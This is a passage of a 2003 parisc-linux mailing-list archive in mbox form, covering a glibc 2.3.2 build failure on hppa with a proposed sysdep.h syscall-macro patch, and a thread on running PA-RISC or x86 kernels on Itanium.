./linuxthreads/sysdeps/unix/sysv/linux/hppa -I../linuxthreads/sysdeps/unix/sysv/ 
linux -I../linuxthreads/sysdeps/pthread -I../sysdeps/pthread -I../linuxthreads/s 
ysdeps/unix/sysv -I../linuxthreads/sysdeps/unix -I../linuxthreads/sysdeps/hppa - 
I../sysdeps/unix/sysv/linux/hppa -I../sysdeps/unix/sysv/linux -I../sysdeps/gnu - 
I../sysdeps/unix/common -I../sysdeps/unix/mman -I../sysdeps/unix/inet -I../sysde 
ps/unix/sysv -I../sysdeps/unix -I../sysdeps/posix -I../sysdeps/hppa/hppa1.1 -I.. 
/sysdeps/wordsize-32 -I../sysdeps/ieee754/flt-32 -I../sysdeps/ieee754/dbl-64 -I. 
./sysdeps/ieee754/ldbl-128 -I../sysdeps/hppa/fpu -I../sysdeps/hppa -I../sysdeps/ 
ieee754 -I../sysdeps/generic/elf -I../sysdeps/generic  -nostdinc -isystem /usr/l 
ib/gcc-lib/hppa-suse-linux/3.3/include -isystem /usr/src/packages/BUILD/kernel-h 
eaders -D_LIBC_REENTRANT -include ../include/libc-symbols.h       -DASSEMBLER    
-x assembler-with-cpp -o /usr/src/packages/BUILD/glibc-2.3.2/cc/signal/kill.o - 
<stdin>: Assembler messages: 
<stdin>:2: Fatal error: Unknown opcode: `do_call_noerrno(kill, 2)' 
make[2]: *** [/usr/src/packages/BUILD/glibc-2.3.2/cc/signal/kill.o] Error 1 
make[2]: Leaving directory `/usr/src/packages/BUILD/glibc-2.3.2/signal' 
make[1]: *** [signal/subdir_lib] Error 2 
 
I still have to look into my patches, if they correct compared to your original 
patches. If you want me to run the test suite on the old version, I can recompile that 
version. 
 
Berthold 
______________________________________________________________________________
Ihre Freunde sind in Italien? Schicken Sie ihnen trotzdem eine SMS
mit WEB.DE FreeMail http://freemail.web.de/features/?mc=021172



From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Berthold Gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2 patches updated, still no working sysdep-cancel
Date: Wed, 26 Mar 2003 08:55:56 +0100
Organization: http://freemail.web.de/
Lines: 12
Approved: news@gmane.org
Message-ID: <200303260755.h2Q7tu202365@mailgate5.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622331 23699 80.91.229.3 (22 Nov 2014 02:12:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 00:55:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgate5.cinetic.de (mailgate5.cinetic.de [217.72.192.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 594FF482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 00:55:57 -0700 (MST)
Original-Received: from web.de (fmomail02.dlan.cinetic.de [172.20.1.46])
	by mailgate5.cinetic.de (8.11.6/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id h2Q7tu202365
	for parisc-linux@lists.parisc-linux.org; Wed, 26 Mar 2003 08:55:56 +0100
Precedence: fm-user
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18080

"Berthold Gunreben" <b.gunreben@web.de> schrieb am 26.03.03 08:15:30: 
 
> I was not successful to compile your current version:  
 
Sorry, my fault. I am recompiling now. 
 
Berthold 
______________________________________________________________________________
Ihre Freunde sind in Italien? Schicken Sie ihnen trotzdem eine SMS
mit WEB.DE FreeMail http://freemail.web.de/features/?mc=021172



From - Thu Nov 08 21:27:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: m.delahaye@esiee.fr (Matthieu Delahaye)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 11:07:46 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20030326100746.GA21703__37290.3780932122$1416622331$gmane$org@charrue.esiee.fr>
References: <001f01c2f1f1$e772d4b0$6620a4d5@tsatec.int> <20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk> <15999.23084.647629.868320@napali.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622331 23704 80.91.229.3 (22 Nov 2014 02:12:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:11 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Adriano Galano <adriano@satec.es>, linux-ia64@linuxia64.org,
	parisc-linux@parisc-linux.org
To: davidm@hpl.hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 03:16:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 68D1B482A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 03:16:34 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id E048649BF2; Wed, 26 Mar 2003 11:16:31 +0100 (CET)
Original-Received: from charrue.esiee.fr (charrue.esiee.fr [147.215.7.31])
	by mail.esiee.fr (Postfix) with ESMTP
	id 6FB3B49BBD; Wed, 26 Mar 2003 11:16:28 +0100 (CET)
Original-Received: by charrue.esiee.fr (Postfix, from userid 1000)
	id 165F92458F; Wed, 26 Mar 2003 11:07:46 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <15999.23084.647629.868320@napali.hpl.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18081

On Mon, Mar 24, 2003 at 11:19:08AM -0800, David Mosberger wrote:
> >>>>> On Mon, 24 Mar 2003 12:10:37 +0000, Matthew Wilcox <willy@debian.org> said:
> 
>   Matthew> On Mon, Mar 24, 2003 at 11:41:18AM +0100, Adriano Galano
>   Matthew> wrote:
>   >> Hi all:
> 
>   >> I read that IA-64 support PA-RISC instruction mapping. That's
>   >> mean that I can use Linux for PA/RISC
>   >> (http://www.parisc-linux.org/) in a Itanium 2 computer?
> 
>   Matthew> No.  You certainly can't run a PA-RISC kernel on an IA64
>   Matthew> box, just like you can't run an x86 kernel on an ia64 box.
> 
> Ugh, that's not strictly true.  You definitely can boot x86 linux and
> windows 98 on Itanium.  I believe the same is true for Itanium 2 if
> you have Intel's firmware, though I have never tried that myself.

...And perhaps you don't forget to add support for the chipset in the
x86/hppa kernel. 

Is the Intel's firmware freely distributed or it is
internal only?

Matthieu



From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Schaber <markus.schaber@student.uni-ulm.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 12:51:40 +0100
Organization: =?ISO-8859-1?B?VW5pdmVyc2l05HQ=?= Ulm
Lines: 33
Approved: news@gmane.org
Message-ID: <20030326125140.6f2b7f7c.markus.schaber__41143.811067059$1416622332$gmane$org@student.uni-ulm.de>
References: <001f01c2f1f1$e772d4b0$6620a4d5@tsatec.int>
	<20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk>
	<15999.23084.647629.868320@napali.hpl.hp.com>
	<20030326100746.GA21703@charrue.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622332 23710 80.91.229.3 (22 Nov 2014 02:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:12 +0000 (UTC)
Cc: davidm@hpl.hp.com, willy@debian.org, adriano@satec.es,
	linux-ia64@linuxia64.org, parisc-linux@parisc-linux.org
To: m.delahaye@esiee.fr (Matthieu Delahaye)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 04:51:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.rz.uni-ulm.de (gemini.rz.uni-ulm.de [134.60.246.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id D97DD4892
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 04:51:57 -0700 (MST)
Original-Received: from double.informatik.uni-ulm.de (double.informatik.uni-ulm.de [134.60.77.105])
	by mail.rz.uni-ulm.de (8.12.8/8.12.8) with SMTP id h2QBpeVS020860;
	Wed, 26 Mar 2003 12:51:40 +0100 (MET)
In-Reply-To: <20030326100746.GA21703@charrue.esiee.fr>
X-Mailer: Sylpheed version 0.8.5claws20 (GTK+ 1.2.10; )
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18082

Hi,

m.delahaye@esiee.fr (Matthieu Delahaye) wrote:

> >   Matthew> No.  You certainly can't run a PA-RISC kernel on an IA64
> >   Matthew> box, just like you can't run an x86 kernel on an ia64
> >   box.
> > Ugh, that's not strictly true.  You definitely can boot x86 linux
> > and windows 98 on Itanium.  I believe the same is true for Itanium 2
> > if you have Intel's firmware, though I have never tried that myself.
> ...And perhaps you don't forget to add support for the chipset in the
> x86/hppa kernel. 

You definitely need IA64 Linux to make real use of an Itanium2 Machine.
(I was able to "play" on an HP 4-Way machine for some weeks.)

However, Itanium chips support X86 Emulation in Hardware, so they can
run any X86 Software without further software support (however, the
software is limited to the X86 capabilities regarding Memory Capacity
etc., and it is _really slow_, every P3/P4/Athlon at the same MHz is
uncomparable.)

As far as I know, the PA-Risc instruction mapping is done with lots of
software help. The concept is a bit like JIT-Compilers in Java. (It is
easier to do this when having a RISC code with equal instruction length
compared to ugly X86 code.) As long as my knowledge is correct, you
therefore cannot run any PA-RISC OS directly on the Hardware, but you
can run PA-RISC Software in any OS that supports the instruction
mapping, maybe one can even run a PA-RISC OS inside a virtual PA-RISC
Machine on Itaniums. (However I don't know any such VM.)

Markus


From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2 patches updated, still no working sysdep-cancel
Date: Wed, 26 Mar 2003 12:57:17 +0100
Lines: 116
Approved: news@gmane.org
Message-ID: <3E817DB00000012B@ocpmta1.freegates.net>
References: <200303260755.h2Q7tu202365@mailgate5.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622332 23712 80.91.229.3 (22 Nov 2014 02:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:12 +0000 (UTC)
To: "Berthold Gunreben" <b.gunreben@web.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 04:57:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 142504899
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 04:57:19 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18y9Wv-0006Na-00; Wed, 26 Mar 2003 12:57:17 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 26 Mar 2003 12:57:17 +0100
In-Reply-To: <200303260755.h2Q7tu202365@mailgate5.cinetic.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18083

Hi Carlos,

A grab your last patches and original src from ftp.gnu.org and in your patch
glibc23-05b-hppa-sysdep, the second hunk was rejected and so I change it
as follow:
=====
--- glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/sysdep.h.orig	2002-08-26 23:16:19.000000000
+0200
+++ glibc-2.3.2/sysdeps/unix/sysv/linux/hppa/sysdep.h	2003-03-26 12:41:50.000000000
+0100
@@ -101,20 +101,27 @@
    which means
 	ENTRY(name)
 	DO_CALL(...)
-	nop
 	bv 0(2)
 	nop
 */
 
 #define	PSEUDO(name, syscall_name, args)				      \
   ENTRY (name)								      \
-  DO_CALL(syscall_name, args)					ASM_LINE_SEP  \
-  nop
+  DO_CALL(syscall_name, args)					ASM_LINE_SEP 
 
 #undef	PSEUDO_END
 #define	PSEUDO_END(name)						      \
   END (name)
 
+#define	PSEUDO_NOERRNO(name, syscall_name, args)			      \
+  ENTRY (name)								      \
+  DO_CALL_NOERRNO(syscall_name, args)				ASM_LINE_SEP 
+
+#undef	PSEUDO_END_NOERRNO
+#define	PSEUDO_END_NOERRNO(name)					      \
+  END (name)
+ 
+#undef JUMPTARGET
 #define JUMPTARGET(name)	name
 #define SYSCALL_PIC_SETUP	/* Nothing.  */
 
@@ -165,6 +172,13 @@
 0:						ASM_LINE_SEP	\
 	UNDOARGS_##args
 
+#undef	DO_CALL_NOERRNO
+#define DO_CALL_NOERRNO(syscall_name, args)			\
+	DOARGS_##args						\
+	ble  0x100(%sr2,%r0)			ASM_LINE_SEP	\
+	ldi SYS_ify (syscall_name), %r20	ASM_LINE_SEP	\
+	UNDOARGS_##args
+
 #define DOARGS_0 /* nothing */
 #define DOARGS_1 /* nothing */
 #define DOARGS_2 /* nothing */
@@ -183,7 +197,7 @@
 #define UNDOARGS_5 /* nothing */
 #define UNDOARGS_6 /* nothing */
 
-#else
+#else /* !__ASSEMBLER__ */
 
 #undef INLINE_SYSCALL
 #define INLINE_SYSCALL(name, nr, args...)	({		\
@@ -206,6 +220,35 @@
 	__sys_res;						\
 })
 
+#undef INTERNAL_SYSCALL_DECL
+#define INTERNAL_SYSCALL_DECL(err) do { } while (0)
+
+#undef INTERNAL_SYSCALL_ERROR_P
+#define INTERNAL_SYSCALL_ERROR_P(val, err) \
+  ((unsigned long) (val) >= -4095L)
+
+#undef INTERNAL_SYSCALL_ERRNO
+#define INTERNAL_SYSCALL_ERRNO(val, err)        (-(val))
+
+/* Similar to INLINE_SYSCALL but we don't set errno */
+#undef INTERNAL_SYSCALL
+#define INTERNAL_SYSCALL(name, err, nr, args...) 		\
+({								\
+	long __sys_res;						\
+	{							\
+		register unsigned long __res asm("r28");	\
+		LOAD_ARGS_##nr(args)				\
+		asm volatile(					\
+			"ble  0x100(%%sr2, %%r0)\n\t"		\
+			" ldi %1, %%r20"			\
+			: "=r" (__res)				\
+			: "i" (SYS_ify(name)) ASM_ARGS_##nr	\
+			);					\
+		__sys_res = __res;				\
+	}							\
+	__sys_res;						\
+ })
+
 #define LOAD_ARGS_0()
 #define LOAD_ARGS_1(r26)					\
 	register unsigned long __r26 __asm__("r26") = (unsigned long)r26;	\
=====

Or do I grab bad src?

Joel



---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: m.delahaye@esiee.fr (Matthieu Delahaye)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 13:09:19 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20030326120919.GA22782__25161.0748623081$1416622332$gmane$org@charrue.esiee.fr>
References: <001f01c2f1f1$e772d4b0$6620a4d5@tsatec.int> <20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk> <15999.23084.647629.868320@napali.hpl.hp.com> <20030326100746.GA21703@charrue.esiee.fr> <20030326125140.6f2b7f7c.markus.schaber@student.uni-ulm.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622332 23713 80.91.229.3 (22 Nov 2014 02:12:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:12 +0000 (UTC)
Cc: Matthieu Delahaye <m.delahaye@esiee.fr>, davidm@hpl.hp.com,
	willy@debian.org, adriano@satec.es, linux-ia64@linuxia64.org,
	parisc-linux@parisc-linux.org
To: Markus Schaber <markus.schaber@student.uni-ulm.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 05:18:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 449864898
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 05:18:07 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id CAE7049C0B; Wed, 26 Mar 2003 13:18:05 +0100 (CET)
Original-Received: from charrue.esiee.fr (charrue.esiee.fr [147.215.7.31])
	by mail.esiee.fr (Postfix) with ESMTP
	id 32E5949BBD; Wed, 26 Mar 2003 13:18:01 +0100 (CET)
Original-Received: by charrue.esiee.fr (Postfix, from userid 1000)
	id AD4DA24672; Wed, 26 Mar 2003 13:09:19 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20030326125140.6f2b7f7c.markus.schaber@student.uni-ulm.de>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18084

> You definitely need IA64 Linux to make real use of an Itanium2 Machine.
> (I was able to "play" on an HP 4-Way machine for some weeks.)

I wasn't speaking about real use. Just dirty things. I was also reacting
with David's previous mail.

> [...] 
> As far as I know, the PA-Risc instruction mapping is done with lots of
> software help. The concept is a bit like JIT-Compilers in Java. (It is
> easier to do this when having a RISC code with equal instruction length
> compared to ugly X86 code.) As long as my knowledge is correct, you
> therefore cannot run any PA-RISC OS directly on the Hardware, but you
> can run PA-RISC Software in any OS that supports the instruction
> mapping, maybe one can even run a PA-RISC OS inside a virtual PA-RISC
> Machine on Itaniums. (However I don't know any such VM.)

AFAIK, your knowledge correspond to what I know. Never test hppa
applications, but the intel compiler I had was using 32bits libraries. I
had to extract some of them for my PC to move them on the Itanium. 


So as I said before, I was reacting to David's mail explaining with some
firmware modifications it was possible to do this with an Itanium I,
and he wasn't sure for an Itanium II. Or it is urgent for me to find a
dictionnary. I just add to this (for the foolish who want to try) that
at least it is required to add the chipset support so that the
kernel can boot on Itanium II. That's all.

But please be sure I'm not going to try this unless I want to give to
my boss a good reason to put me out. 
[ This is not because some people reading this list and
working with me wants to test an hppa box resistance by launching it
from the 5th level I'll try to publish slackware installation
screenshots on an Itanium II ].

But perhaps I didn't understand and you told me you already try it
following David's explanation ?

Regards,

Matthieu




From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Schaber <markus.schaber@student.uni-ulm.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [Linux-ia64] Linux, Itanium and PA/RISC
Date: Wed, 26 Mar 2003 13:32:39 +0100
Organization: =?ISO-8859-1?B?VW5pdmVyc2l05HQ=?= Ulm
Lines: 27
Approved: news@gmane.org
Message-ID: <20030326133239.7d4e8bd7.markus.schaber__44459.2427033514$1416622333$gmane$org@student.uni-ulm.de>
References: <001f01c2f1f1$e772d4b0$6620a4d5@tsatec.int>
	<20030324121037.GI31008@parcelfarce.linux.theplanet.co.uk>
	<15999.23084.647629.868320@napali.hpl.hp.com>
	<20030326100746.GA21703@charrue.esiee.fr>
	<20030326125140.6f2b7f7c.markus.schaber@student.uni-ulm.de>
	<20030326120919.GA22782@charrue.esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622333 23723 80.91.229.3 (22 Nov 2014 02:12:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:13 +0000 (UTC)
Cc: m.delahaye@esiee.fr, davidm@hpl.hp.com, willy@debian.org,
	adriano@satec.es, linux-ia64@linuxia64.org,
	parisc-linux@parisc-linux.org
To: m.delahaye@esiee.fr (Matthieu Delahaye)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 05:32:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.rz.uni-ulm.de (gemini.rz.uni-ulm.de [134.60.246.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id D12AB482A
	for <parisc-linux@parisc-linux.org>; Wed, 26 Mar 2003 05:32:53 -0700 (MST)
Original-Received: from double.informatik.uni-ulm.de (double.informatik.uni-ulm.de [134.60.77.105])
	by mail.rz.uni-ulm.de (8.12.8/8.12.8) with SMTP id h2QCWdVS028407;
	Wed, 26 Mar 2003 13:32:39 +0100 (MET)
In-Reply-To: <20030326120919.GA22782@charrue.esiee.fr>
X-Mailer: Sylpheed version 0.8.5claws20 (GTK+ 1.2.10; )
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18085

Hi,

m.delahaye@esiee.fr (Matthieu Delahaye) wrote:

> > [...] 
> > As far as I know, the PA-Risc instruction mapping is done with lots
> > of software help. The concept is a bit like JIT-Compilers in Java.
> > (It is easier to do this when having a RISC code with equal
> > instruction length compared to ugly X86 code.) As long as my
> > knowledge is correct, you therefore cannot run any PA-RISC OS
> > directly on the Hardware, but you can run PA-RISC Software in any OS
> > that supports the instruction mapping, maybe one can even run a
> > PA-RISC OS inside a virtual PA-RISC Machine on Itaniums. (However I
> > don't know any such VM.)
> 
> AFAIK, your knowledge correspond to what I know.
[...]
> But perhaps I didn't understand and you told me you already try it
> following David's explanation ?

I didn't want to argue against you, because I think you're right. :-)

I just wanted to clarify the difference between both "legacy"
Architectures that the Itanium claims to support.

Markus


From - Thu Nov 08 21:27:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.2 patches updated, still no working sysdep-cancel
Date: Wed, 26 Mar 2003 09:09:27 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <20030326140927.GB2370@systemhalted>
References: <200303260755.h2Q7tu202365@mailgate5.cinetic.de> <3E817DB00000012B@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622333 23728 80.91.229.3 (22 Nov 2014 02:12:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:13 +0000 (UTC)
Cc: Berthold Gunreben <b.gunreben@web.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 26 07:09:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE00045aedab24-CM.cpe.net.cable.rogers.com [24.112.227.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id A60A9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Mar 2003 07:09:01 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.35 #1 (Debian))
	id 18yBap-0002EC-00; Wed, 26 Mar 2003 09:09:27 -0500
